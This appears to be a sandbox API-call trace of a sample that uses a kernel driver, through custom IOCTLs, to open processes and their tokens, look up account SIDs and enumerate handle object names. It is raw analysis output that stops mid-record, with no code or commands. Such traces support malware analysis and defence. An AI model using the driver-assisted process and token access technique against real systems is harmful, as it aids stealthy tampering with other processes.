ObOpenObjectByPointer (in: Object=0xfffffa8002003b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.800] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x12 [0122.801] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.801] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.801] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.801] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.801] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.802] CloseHandle (hObject=0xc8) returned 1 [0122.802] CloseHandle (hObject=0xc0) returned 1 [0122.802] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.802] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.802] PsAcquireProcessExitSynchronization () returned 0x0 [0122.802] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880044355d0) [0122.802] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001ff2980, HandleInformation=0x0) returned 0x0 [0122.802] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.802] PsReleaseProcessExitSynchronization () returned 0x2 [0122.802] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0122.802] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.802] ObfDereferenceObject (Object=0xfffffa8001ff2980) returned 0x1 [0122.803] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.803] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.803] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0122.803] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.803] PsAcquireProcessExitSynchronization () returned 0x0 [0122.803] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880044355d0) [0122.803] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f79e50, HandleInformation=0x0) returned 0x0 [0122.803] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.803] PsReleaseProcessExitSynchronization () returned 0x2 [0122.803] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0122.803] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.803] ObfDereferenceObject (Object=0xfffffa8001f79e50) returned 0x1 [0122.803] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.803] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.803] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.803] PsLookupProcessByProcessId (in: ProcessId=0x42c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.803] PsAcquireProcessExitSynchronization () returned 0x0 [0122.803] KeStackAttachProcess (in: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002003b30, ApcState=0xfffff880044355d0) [0122.803] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.803] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.803] PsReleaseProcessExitSynchronization () returned 0x2 [0122.803] ObfDereferenceObject (Object=0xfffffa8002003b30) returned 0x10 [0122.803] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.803] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.803] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.803] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.803] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x320) returned 0xc0 [0122.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.803] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001fcf060, HandleInformation=0x0) returned 0x0 [0122.803] ObOpenObjectByPointer (in: Object=0xfffffa8001fcf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.804] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x12 [0122.804] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.804] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.804] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.804] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.804] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.805] CloseHandle (hObject=0xc8) returned 1 [0122.805] CloseHandle (hObject=0xc0) returned 1 [0122.805] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.805] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.805] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.805] PsAcquireProcessExitSynchronization () returned 0x0 [0122.805] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880044355d0) [0122.805] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f3d070, HandleInformation=0x0) returned 0x0 [0122.805] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.805] PsReleaseProcessExitSynchronization () returned 0x2 [0122.805] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0122.805] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0122.805] ObfDereferenceObject (Object=0xfffffa8001f3d070) returned 0x1 [0122.805] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.806] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0122.806] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.806] PsAcquireProcessExitSynchronization () returned 0x0 [0122.806] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880044355d0) [0122.806] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a12f20, HandleInformation=0x0) returned 0x0 [0122.806] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.806] PsReleaseProcessExitSynchronization () returned 0x2 [0122.806] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0122.806] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.806] ObfDereferenceObject (Object=0xfffffa8001a12f20) returned 0x1 [0122.806] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.806] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.806] PsLookupProcessByProcessId (in: ProcessId=0x320, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.806] PsAcquireProcessExitSynchronization () returned 0x0 [0122.806] KeStackAttachProcess (in: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001fcf060, ApcState=0xfffff880044355d0) [0122.806] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.806] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.806] PsReleaseProcessExitSynchronization () returned 0x2 [0122.806] ObfDereferenceObject (Object=0xfffffa8001fcf060) returned 0x10 [0122.806] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0122.806] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.806] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.806] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.806] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x424) returned 0xc0 [0122.806] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.806] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8001a17b30, HandleInformation=0x0) returned 0x0 [0122.806] ObOpenObjectByPointer (in: Object=0xfffffa8001a17b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.807] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x12 [0122.807] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.807] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.807] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.807] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.807] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.808] CloseHandle (hObject=0xc8) returned 1 [0122.808] CloseHandle (hObject=0xc0) returned 1 [0122.808] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.808] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.808] PsAcquireProcessExitSynchronization () returned 0x0 [0122.808] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880044355d0) [0122.808] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fc56e0, HandleInformation=0x0) returned 0x0 [0122.808] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.808] PsReleaseProcessExitSynchronization () returned 0x2 [0122.808] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0122.808] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.808] ObfDereferenceObject (Object=0xfffffa8001fc56e0) returned 0x1 [0122.808] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.808] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.808] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.808] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0122.808] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.808] PsAcquireProcessExitSynchronization () returned 0x0 [0122.809] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880044355d0) [0122.809] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002018270, HandleInformation=0x0) returned 0x0 [0122.809] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.809] PsReleaseProcessExitSynchronization () returned 0x2 [0122.809] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0122.809] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.809] ObfDereferenceObject (Object=0xfffffa8002018270) returned 0x1 [0122.809] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.809] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.809] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.809] PsLookupProcessByProcessId (in: ProcessId=0x424, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.809] PsAcquireProcessExitSynchronization () returned 0x0 [0122.809] KeStackAttachProcess (in: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001a17b30, ApcState=0xfffff880044355d0) [0122.809] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.809] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.809] PsReleaseProcessExitSynchronization () returned 0x2 [0122.809] ObfDereferenceObject (Object=0xfffffa8001a17b30) returned 0x10 [0122.809] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.809] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.809] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.809] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.809] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3a4) returned 0xc0 [0122.809] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.809] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002015b30, HandleInformation=0x0) returned 0x0 [0122.809] ObOpenObjectByPointer (in: Object=0xfffffa8002015b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.809] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x12 [0122.809] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.809] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.809] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.810] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.810] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.811] CloseHandle (hObject=0xc8) returned 1 [0122.811] CloseHandle (hObject=0xc0) returned 1 [0122.811] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.811] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.811] PsAcquireProcessExitSynchronization () returned 0x0 [0122.811] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880044355d0) [0122.811] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800201ae00, HandleInformation=0x0) returned 0x0 [0122.811] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.811] PsReleaseProcessExitSynchronization () returned 0x2 [0122.811] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0122.811] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.811] ObfDereferenceObject (Object=0xfffffa800201ae00) returned 0x1 [0122.811] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.811] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.811] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0122.811] PsLookupProcessByProcessId (in: ProcessId=0x3a4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.812] PsAcquireProcessExitSynchronization () returned 0x0 [0122.812] KeStackAttachProcess (in: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002015b30, ApcState=0xfffff880044355d0) [0122.812] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002015170, HandleInformation=0x0) returned 0x0 [0122.812] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.812] PsReleaseProcessExitSynchronization () returned 0x2 [0122.812] ObfDereferenceObject (Object=0xfffffa8002015b30) returned 0x10 [0122.812] 